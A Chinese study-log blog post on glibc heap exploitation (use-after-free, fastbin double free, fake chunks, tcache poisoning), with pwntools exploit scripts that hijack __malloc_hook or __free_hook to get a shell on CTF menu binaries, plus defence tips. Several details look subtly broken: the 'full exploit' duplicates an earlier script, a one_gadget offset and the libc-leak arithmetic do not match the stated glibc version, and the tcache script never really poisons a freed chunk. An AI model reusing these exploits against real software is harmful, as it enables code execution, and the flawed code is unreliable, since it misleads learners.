【学习记录】Week9(二):UAF漏洞利用与堆块伪造——从Double Free到Tcache Poisoning

📅 2026/7/2 14:45:21 👁️ 阅读次数 📝 编程学习
【学习记录】Week9(二):UAF漏洞利用与堆块伪造——从Double Free到Tcache Poisoning

写在前面:在上一篇中,我们精读了glibc堆结构并掌握了堆风水方法论。今天,我们将深入探讨堆漏洞利用中最经典且基础的UAF(Use After Free)漏洞,学习如何通过Double Free和堆块伪造技术控制堆流,最终实现任意代码执行。这些技术是所有堆漏洞利用者的必修课,也是理解更高级堆利用技术的基础。

📑 目录

  1. UAF漏洞原理与利用条件
  2. Double Free传统版利用详解
  3. 伪造堆块技术
  4. Tcache Poisoning原理与实战
  5. 实战案例:利用UAF获取Shell
  6. 总结与防御建议

1. UAF漏洞原理与利用条件

1.1 什么是UAF漏洞?

UAF(Use After Free)漏洞是指程序在释放动态分配的内存后,仍然继续使用指向该内存的指针csdn.net+1。这种漏洞的本质是程序逻辑与内存管理器的认知差异:程序认为内存已释放不可访问,但攻击者仍可通过残留的悬垂指针操作已释放内存csdn.net。

UAF漏洞的三种典型情况csdn.net:

  1. 释放后指针被置NULL:再次使用会导致程序崩溃,难以利用。
  2. 释放后指针未置NULL,且无修改:可能正常工作,但存在安全隐患。
  3. 释放后指针未置NULL,且被修改:攻击者可通过修改堆块元数据控制程序流。

我们主要利用第2和第3种情况,特别是第3种,通过精心构造数据实现控制流劫持csdn.net。

1.2 UAF漏洞利用条件

成功利用UAF漏洞通常需要满足以下条件:

条件描述实现方式
悬垂指针释放堆块后指针未置NULL程序逻辑缺陷
堆块可控能通过UAF修改已释放堆块的内容UAF漏洞本身
重新分配能将目标堆块重新分配回来合适的堆风水布局
地址预测知道或能预测目标地址信息泄露或固定地址

1.3 UAF漏洞利用流程

释放目标堆块
产生悬垂指针

通过UAF修改堆块内容
如fd指针或函数指针

重新分配堆块
将目标堆块申请回来

通过修改后的指针
实现任意地址读/写或控制流劫持

获取Shell或提升权限

2. Double Free传统版利用详解

2.1 Double Free漏洞原理

Double Free是指同一个堆块被释放两次csdn.net+1。在glibc 2.23及以下版本中,fastbin的double free检测较弱,仅检查释放的chunk和bin头部的chunk是否一致csdn.net。因此,我们可以通过在两次free之间free一个其他堆块来绕过检测。

Double Free在fastbin中的链表变化

初始状态: fastbin[idx] -> chunk0 -> NULL 第一次free(chunk0): fastbin[idx] -> chunk0 -> NULL (此时chunk0->fd = NULL) free(chunk1): fastbin[idx] -> chunk1 -> chunk0 -> NULL 第二次free(chunk0): fastbin[idx] -> chunk0 -> chunk1 -> chunk0 -> ... (形成环)

2.2 传统Double Free利用步骤

以glibc 2.23为例,利用步骤如下csdn.net+1:

  1. 堆布局准备:申请多个堆块,确保目标堆块在fastbin范围内(0x20-0x80字节)。
  2. 信息泄露:通过UAF读取unsorted bin中的libc地址,计算libc基址。
  3. Double Free触发:按照free(A); free(B); free(A);的模式触发double free。
  4. 修改fd指针:通过UAF修改fastbin中chunk的fd指针,指向__malloc_hook附近的地址。
  5. 申请目标堆块:连续malloc三次,第三次返回目标地址处的堆块。
  6. 覆盖hook函数:将__malloc_hook覆盖为one_gadget地址。
  7. 触发malloc:再次调用malloc,执行one_gadget获取Shell。

2.3 利用代码示例

from pwn import * # 1. 初始化环境 context.arch = 'amd64' context.os = 'linux' context.log_level = 'debug' # 2. 加载目标程序 p = process('./heap_uaf') elf = ELF('./heap_uaf') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size, content): p.sendlineafter(b'choice: ', b'1') p.sendlineafter(b'size: ', str(size).encode()) p.sendlineafter(b'content: ', content) def free(idx): p.sendlineafter(b'choice: ', b'2') p.sendlineafter(b'index: ', str(idx).encode()) def show(idx): p.sendlineafter(b'choice: ', b'3') p.sendlineafter(b'index: ', str(idx).encode()) # 3. 堆布局:申请三个堆块 add(0x68, b'A' * 0x68) # chunk0 add(0x68, b'B' * 0x68) # chunk1 add(0x80, b'C' * 0x80) # chunk2 (用于泄露libc) # 4. 泄露libc地址 free(2) # 释放chunk2,进入unsorted bin show(2) # 通过UAF读取chunk2的fd指针,获取main_arena地址 leaked_addr = u64(p.recv(6).ljust(8, b'\x00')) libc_base = leaked_addr - libc.symbols['__malloc_hook'] - 0x10 log.info(f"libc base: {hex(libc_base)}") # 5. 计算关键地址 malloc_hook_addr = libc_base + libc.symbols['__malloc_hook'] one_gadget_addr = libc_base + 0x4f322 # 示例one_gadget地址,需根据实际libc版本调整 # 6. Double Free利用 free(0) # 第一次free chunk0 free(1) # free chunk1 free(0) # 第二次free chunk0,形成环 # 7. 修改fd指针指向__malloc_hook附近 # 需要找到一个合适的size字段,使得malloc认为这是一个有效的chunk # 通常选择__malloc_hook - 0x23处的地址,因为size字段为0x7f add(0x68, p64(malloc_hook_addr - 0x23)) # chunk0被申请回来,修改其fd指针 # 8. 连续申请,最终获取__malloc_hook附近的堆块 add(0x68, b'D' * 0x68) # 申请chunk1 add(0x68, b'E' * 0x68) # 申请chunk0 add(0x68, b'F' * 0x13 + p64(one_gadget_addr)) # 申请目标堆块,覆盖__malloc_hook # 9. 触发malloc,执行one_gadget p.sendlineafter(b'choice: ', b'1') p.sendlineafter(b'size: ', b'32') p.interactive()

3. 伪造堆块技术

3.1 为什么需要伪造堆块?

当程序没有UAF漏洞,但存在堆溢出时,我们可以通过溢出修改相邻堆块的元数据,伪造一个chunk结构,然后通过free将其放入bin中,后续malloc获取该堆块,实现任意地址写入csdn.net。

3.2 伪造堆块的基本原理

伪造堆块需要满足以下条件csdn.net:

  1. 目标地址可写:能控制目标地址的内存内容。
  2. 合适的size字段:伪造的chunk的size字段需要满足bin的要求(如fastbin要求size在0x20-0x80范围内)。
  3. 正确的fd/bk指针:根据bin类型,设置正确的链表指针。

3.3 伪造堆块利用示例

假设存在堆溢出漏洞,我们可以通过以下步骤伪造堆块csdn.net:

  1. 堆布局:申请多个堆块,确保目标地址位于两个堆块之间。
  2. 溢出修改:通过堆溢出修改目标地址处的size字段和fd指针。
  3. 释放伪造堆块:将伪造的堆块free,放入对应的bin中。
  4. 申请目标堆块:通过malloc获取伪造的堆块,实现任意地址写入。

示例代码

// 假设存在堆溢出漏洞 void vulnerable_function() { char *chunk1 = malloc(0x20); char *chunk2 = malloc(0x20); char *chunk3 = malloc(0x20); // 溢出chunk2,修改chunk3的size字段和fd指针 // 目标地址为0x8049000,我们希望伪造一个大小为0x41的chunk *(size_t *)(chunk2 + 0x20) = 0x41; // 修改chunk3的size字段 *(void **)(chunk2 + 0x28) = (void *)0x8049000; // 修改chunk3的fd指针 free(chunk3); // 释放伪造的chunk,进入fastbin malloc(0x38); // 申请堆块,获取0x8049000处的内存 }

4. Tcache Poisoning原理与实战

4.1 Tcache机制回顾

Tcache(Thread Local Caching)是glibc 2.26引入的线程缓存机制,用于加速小内存分配csdn.net+1。每个线程维护一个tcache_perthread_struct结构体,包含多个单链表,用于缓存小chunk。

Tcache的特性:

  • 线程隔离:每个线程独立维护tcache,无锁竞争52pojie.cn。
  • 优先分配:malloc时优先从tcache获取csdn.net。
  • 优先释放:free时优先放入tcache(如果未满)csdn.net。
  • 数量限制:每个size最多7个chunkcsdn.net。

4.2 Tcache Poisoning原理

Tcache Poisoning是指通过UAF或堆溢出修改tcache中的next指针,使其指向任意地址,从而实现任意地址分配csdn.net+1。由于tcache的检查较弱(特别是glibc 2.26-2.28版本),这种攻击非常容易实施。

Tcache Poisoning利用流程

通过UAF修改tcache中chunk的next指针

指向目标地址

连续malloc两次

第一次返回正常chunk

第二次返回目标地址处的chunk

实现任意地址读写

4.3 Tcache Double Free绕过

在glibc 2.29+版本中,tcache引入了key字段来检测double freecsdn.net+2。每次free时,会检查chunk的key字段是否等于tcache结构体地址,如果相等,则遍历tcache链表检查是否已存在该chunk。

绕过方法

  1. 破坏key字段:通过UAF修改chunk的key字段,使其不等于tcache地址butian.net+1。
  2. 改变chunk大小:通过溢出修改chunk的size字段,使其进入不同的tcache bincsdn.net+1。
  3. House of Botcake:利用unsorted bin和tcache的机制,使同一chunk同时存在于unsorted bin和tcache中butian.net+2。

4.4 Tcache Poisoning实战示例

from pwn import * # 1. 初始化环境 context.arch = 'amd64' context.os = 'linux' context.log_level = 'debug' # 2. 加载目标程序(glibc 2.27,无key字段) p = process('./tcache_poisoning') elf = ELF('./tcache_poisoning') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size, content): p.sendlineafter(b'choice: ', b'1') p.sendlineafter(b'size: ', str(size).encode()) p.sendlineafter(b'content: ', content) def free(idx): p.sendlineafter(b'choice: ', b'2') p.sendlineafter(b'index: ', str(idx).encode()) def show(idx): p.sendlineafter(b'choice: ', b'3') p.sendlineafter(b'index: ', str(idx).encode()) # 3. 堆布局 add(0x40, b'A' * 0x40) # chunk0 add(0x40, b'B' * 0x40) # chunk1 add(0x40, b'C' * 0x40) # chunk2 # 4. 泄露堆地址 free(1) # 释放chunk1,进入tcache show(1) # 通过UAF读取chunk1的next指针,获取堆地址 leaked_heap = u64(p.recv(6).ljust(8, b'\x00')) heap_base = leaked_heap - 0x250 # 根据实际偏移调整 log.info(f"heap base: {hex(heap_base)}") # 5. Tcache Poisoning # 目标地址:__free_hook free_hook_addr = libc.symbols['__free_hook'] system_addr = libc.symbols['system'] # 6. 修改tcache中chunk的next指针 free(0) # 释放chunk0,进入tcache # 通过UAF修改chunk0的next指针指向__free_hook add(0x40, p64(free_hook_addr)) # 修改next指针 # 7. 连续申请,获取__free_hook处的堆块 add(0x40, b'D' * 0x40) # 申请chunk0 add(0x40, p64(system_addr)) # 申请__free_hook处的堆块,覆盖为system地址 # 8. 释放包含"/bin/sh"的堆块,触发system("/bin/sh") add(0x40, b'/bin/sh\x00') # chunk3 free(3) # 触发system("/bin/sh") p.interactive()

5. 实战案例:利用UAF获取Shell

5.1 题目背景

以一个典型的菜单堆题为例,程序实现了增删改查功能,但删除功能未将指针置NULL,存在UAF漏洞csdn.net+1。程序保护全开,glibc版本为2.23。

5.2 利用思路

利用UAF泄露libc地址

通过Double Free构造fastbin环

修改fd指针指向__malloc_hook附近

申请堆块覆盖__malloc_hook为one_gadget

触发malloc执行one_gadget

获取Shell

5.3 完整EXP

from pwn import * # 1. 初始化环境 context.arch = 'amd64' context.os = 'linux' context.log_level = 'debug' # 2. 加载目标程序 p = process('./heap_exploit') elf = ELF('./heap_exploit') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size, content): p.sendlineafter(b'choice: ', b'1') p.sendlineafter(b'size: ', str(size).encode()) p.sendlineafter(b'content: ', content) def free(idx): p.sendlineafter(b'choice: ', b'2') p.sendlineafter(b'index: ', str(idx).encode()) def show(idx): p.sendlineafter(b'choice: ', b'3') p.sendlineafter(b'index: ', str(idx).encode()) # 3. 堆布局 add(0x68, b'A' * 0x68) # chunk0 add(0x68, b'B' * 0x68) # chunk1 add(0x80, b'C' * 0x80) # chunk2 (用于泄露libc) # 4. 泄露libc地址 free(2) # 释放chunk2,进入unsorted bin show(2) # 通过UAF读取chunk2的fd指针,获取main_arena地址 leaked_addr = u64(p.recv(6).ljust(8, b'\x00')) libc_base = leaked_addr - libc.symbols['__malloc_hook'] - 0x10 log.info(f"libc base: {hex(libc_base)}") # 5. 计算关键地址 malloc_hook_addr = libc_base + libc.symbols['__malloc_hook'] one_gadget_addr = libc_base + 0x4f322 # 根据实际libc版本调整 # 6. Double Free利用 free(0) # 第一次free chunk0 free(1) # free chunk1 free(0) # 第二次free chunk0,形成环 # 7. 修改fd指针指向__malloc_hook附近 # 需要找到一个合适的size字段,使得malloc认为这是一个有效的chunk # 通常选择__malloc_hook - 0x23处的地址,因为size字段为0x7f add(0x68, p64(malloc_hook_addr - 0x23)) # chunk0被申请回来,修改其fd指针 # 8. 连续申请,最终获取__malloc_hook附近的堆块 add(0x68, b'D' * 0x68) # 申请chunk1 add(0x68, b'E' * 0x68) # 申请chunk0 add(0x68, b'F' * 0x13 + p64(one_gadget_addr)) # 申请目标堆块,覆盖__malloc_hook # 9. 触发malloc,执行one_gadget p.sendlineafter(b'choice: ', b'1') p.sendlineafter(b'size: ', b'32') p.interactive()

6. 总结与防御建议

6.1 核心知识点总结

  1. UAF漏洞是堆利用的基础,通过悬垂指针操作已释放内存,实现任意地址读写csdn.net+1。
  2. Double Free通过两次释放同一堆块,构造fastbin环,修改fd指针实现任意地址分配csdn.net+1。
  3. 伪造堆块通过堆溢出修改堆块元数据,伪造chunk结构,放入bin中实现任意地址写入csdn.net。
  4. Tcache Poisoning利用tcache机制,通过UAF修改next指针,实现任意地址分配,在高版本glibc中需绕过key检查csdn.net+1。

6.2 防御建议

  1. 安全编码:释放指针后立即置NULL,避免悬垂指针csdn.net。
  2. 边界检查:对堆操作进行严格的边界检查,防止堆溢出csdn.net。
  3. 编译器防护:启用ASLR、PIE、NX、Canary等保护机制csdn.net。
  4. 运行时检测:使用AddressSanitizer等工具检测内存错误csdn.net。
  5. glibc更新:及时更新glibc版本,使用最新的安全机制butian.net+1。

6.3 进阶学习方向

<details> <summary>📚 推荐学习路径</summary>

  1. House of系列技术:学习House of Spirit、House of Force、House of Lore等高级堆利用技术。
  2. 内核堆利用:研究Linux内核slab/slub分配器,内核ROP技术。
  3. JIT编译器漏洞:探索V8、SpiderMonkey等JIT编译器中的堆漏洞利用。
  4. 自动化漏洞挖掘:学习使用AFL、libFuzzer等工具进行堆漏洞挖掘。
  5. 新型防护机制绕过:研究Safe-Linking、MPX、CET等新型防护机制的绕过方法。

</details>

6.4 下篇预告

下一篇我们将深入学习Unsorted Bin Attack与Large Bin Attack,包括:

  • Unsorted Bin Attack原理与利用条件
  • Large Bin Attack在2022+高频场景中的应用
  • 实战案例:利用Unsorted Bin Attack实现任意地址写入
  • 现代glibc中的防护机制与绕过方法

📊 知识图谱总结

UAF与堆块伪造UAF漏洞原理定义与本质:释放后继续使用内存:程序逻辑与内存管理器认知差异利用条件:悬垂指针:堆块可控:重新分配:地址预测利用流程:释放堆块:修改堆块内容:重新分配:控制流劫持Double Free利用原理与检测:fastbin检测弱点:两次free同一堆块利用步骤:堆布局准备:信息泄露:Double Free触发:修改fd指针:覆盖hook函数代码示例:glibc 2.23环境:完整EXP展示伪造堆块技术应用场景:无UAF但有堆溢出基本原理:修改size字段:设置fd/bk指针利用示例:溢出修改元数据:释放伪造堆块:申请目标堆块Tcache PoisoningTcache机制:线程缓存:优先分配释放:数量限制Poisoning原理:修改next指针:任意地址分配Double Free绕过:破坏key字段:改变chunk大小:House of Botcake实战示例:glibc 2.27环境:完整EXP展示实战案例题目背景:菜单堆题:UAF漏洞利用思路:泄露libc地址:Double Free构造环:覆盖__malloc_hook:触发one_gadget完整EXP:环境初始化:堆布局:信息泄露:利用与Shell获取

最终结论:UAF漏洞是堆利用的核心技术,通过Double Free和堆块伪造,我们可以控制堆流,实现任意代码执行。理解这些技术原理,不仅能帮助你解决CTF堆题,更能让你深入理解内存管理机制,写出更安全的代码。在攻防博弈中,堆漏洞利用是二进制安全研究者的必备技能csdn.net+2。

参考文献

  1. ctfpwn入门第一次学堆_pwn堆入门-CSDN博客
  2. libc.2.29漏洞利用及原理_tcache 2.29-CSDN博客
  3. CTF PWN实战:手把手教你利用UAF漏洞绕过libc-2.23的Double Free检测
  4. Tcache attack小记
  5. 深入理解 House of Botcake 堆利用手法
  6. [CTF]PWN–堆–UAF漏洞_pwn uaf-CSDN博客
  7. 【我的 PWN 学习手札】tcache stash with fastbin double free —— tcache key 绕过-CSDN博客
  8. House of Botcake-CSDN博客
  9. 别只盯着flag!从蓝桥杯一道PWN题聊聊Linux堆利用的UAF漏洞实战
  10. Double Free浅析(泄露堆地址的一种方法)_double free 原理-CSDN博客
  11. House of botcake与IOFILE任意读写
  12. PWN——uaf漏洞学习 - Riv4aille - 博客园
  13. fastbin_tcache - brain_Z - 博客园
  14. 【我的 PWN 学习手札】Tcache Poisoning-CSDN博客
  15. 别再死记硬背了!用GDB动态调试理解libc2.23的UAF和Fastbin Attack
  16. [CTF]how2heap全集及例题详细解析(5~6部分)